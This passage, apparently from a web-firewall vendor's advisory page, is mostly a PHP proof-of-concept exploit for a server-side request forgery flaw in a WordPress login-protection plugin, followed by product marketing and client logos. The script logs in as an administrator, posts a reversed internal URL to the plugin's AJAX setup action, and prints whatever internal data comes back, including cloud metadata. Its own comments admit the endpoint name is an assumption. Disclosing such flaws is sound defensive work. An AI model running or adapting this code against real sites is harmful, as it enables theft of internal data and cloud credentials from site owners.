curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $admin_user,
    'pwd' => $admin_pass,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Craft the Setup Code. The plugin reverses the Setup Code to form the URL.
// The vulnerable setup() method prepends 'https://' if missing, but we can supply full URL.
// We reverse the internal URL to create the Setup Code.
$setup_code = strrev($internal_url);

// Step 3: Send the request to the plugin's AJAX endpoint or admin page that triggers setup.
// The exact endpoint depends on plugin version; typically it's an admin-ajax action 'llar_setup_code'.
// We'll use admin-ajax.php with action 'llar_setup_code' and parameter 'setup_code'.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'llar_setup_code',
    'setup_code' => $setup_code
]));
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

// Step 4: Output the response, which may contain internal data.
echo "Response from SSRF attempt:n";
echo $response;

// Note: This PoC assumes the plugin uses an AJAX action 'llar_setup_code'.
// The actual action name may differ; consult the plugin source for the exact endpoint.
// The vulnerability allows any internal URL to be fetched, including cloud metadata.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.